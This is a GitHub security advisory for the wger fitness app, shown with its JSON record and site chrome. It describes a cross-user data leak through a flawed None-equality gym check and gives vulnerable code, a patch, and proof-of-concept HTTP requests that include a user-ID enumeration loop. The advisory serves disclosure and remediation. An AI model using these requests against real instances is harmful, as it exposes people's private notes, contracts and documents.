GHSA-C72H-82W6-RQFP

Vulnerability from github – Published: 2026-10-07 13:33 – Updated: 2026-10-07 13:33
VLAI
Summary
wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)
Details

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints: - GET /en/gym/notes/list/user/<member_pk> -> admin notes list view - GET /en/gym/documents/list/user/<member_pk> -> documents list view - GET /en/gym/contract/list/<member_pk> -> contracts list view - GET /en/gym/user/<member_pk>/config -> user config view - GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)

RBAC Disproof Protocol: - Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature) - Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403) - Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:

  1. Enumerate and read all private admin notes for every other gym=None user (notes may contain salary data, medical notes, disciplinary records).
  2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
  3. Read all gym contracts (financial terms, subscription details).
  4. Read user configuration details.
  5. Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:33:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFive gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.\n\n### Details\n\n**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`\n\nThe same flawed comparison pattern appears across at least five views:\n\n```python\n# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,\n#              user_config, and gym_permissions_user_edit\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n\n# After the guard (admin notes example):\nnotes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter \u2014 there is no secondary check tying the queryset to the requesting trainer\u0027s gym. All private admin notes, documents, and contracts for the target user are returned in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/notes/list/user/\u003cmember_pk\u003e` -\u003e admin notes list view\n- `GET /en/gym/documents/list/user/\u003cmember_pk\u003e` -\u003e documents list view\n- `GET /en/gym/contract/list/\u003cmember_pk\u003e` -\u003e contracts list view\n- `GET /en/gym/user/\u003cmember_pk\u003e/config` -\u003e user config view\n- `GET /en/gym/user/\u003cmember_pk\u003e/permissions` -\u003e permission edit view\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n\n# Also tighten the queryset with a gym-scoped secondary filter:\n-    notes = AdminUserNote.objects.filter(member=member)\n+    notes = AdminUserNote.objects.filter(\n+        member=member,\n+        member__userprofile__gym_id=request.user.userprofile.gym_id,\n+    )\n```\n\nExtract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded).\n\n**Step 1** - Authenticate as trainer with required perms and gym=None:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1\u0026password=[REDACTED]\u0026csrfmiddlewaretoken=[REDACTED]\n\n-\u003e 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Read victim\u0027s private admin notes:\n\n```\nGET /en/gym/notes/list/user/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-\u003e 200 OK\nbody contains all private admin notes for user 2:\n  \"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K\"\n  \"PHASE4_SECRET_SALARY_100K\"\n```\n\n**Step 3** - Read victim\u0027s documents and contracts (same pattern):\n\n```\nGET /en/gym/documents/list/user/2\nGET /en/gym/contract/list/2\n\n-\u003e 200 OK for each; all records disclosed\n```\n\n**Step 4** (optional) - Mass enumeration across all gym=None users:\n\n```\nIterate user PKs 1..N:\nGET /en/gym/notes/list/user/{uid}\n-\u003e 200 = gym=None victim (notes leaked)\n-\u003e 403 = gym-assigned user (check works correctly when gym values differ)\n```\n\n**RBAC Disproof Protocol**:\n- Scenario A (admin, gym=1 -\u003e member gym=1) -\u003e HTTP 200 (expected - same-gym read is a documented feature)\n- Scenario B (trainer1, gym=None -\u003e alice gym=None) -\u003e **HTTP 200 with PII in body** (expected HTTP 403)\n- Scenario C (admin, gym=1 -\u003e alice gym=None) -\u003e HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can:\n\n1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records).\n2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).\n3. Read all gym contracts (financial terms, subscription details).\n4. Read user configuration details.\n5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).\n\nThis is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.",
  "id": "GHSA-c72h-82w6-rqfp",
  "modified": "2026-10-07T13:33:14Z",
  "published": "2026-10-07T13:33:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-c72h-82w6-rqfp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…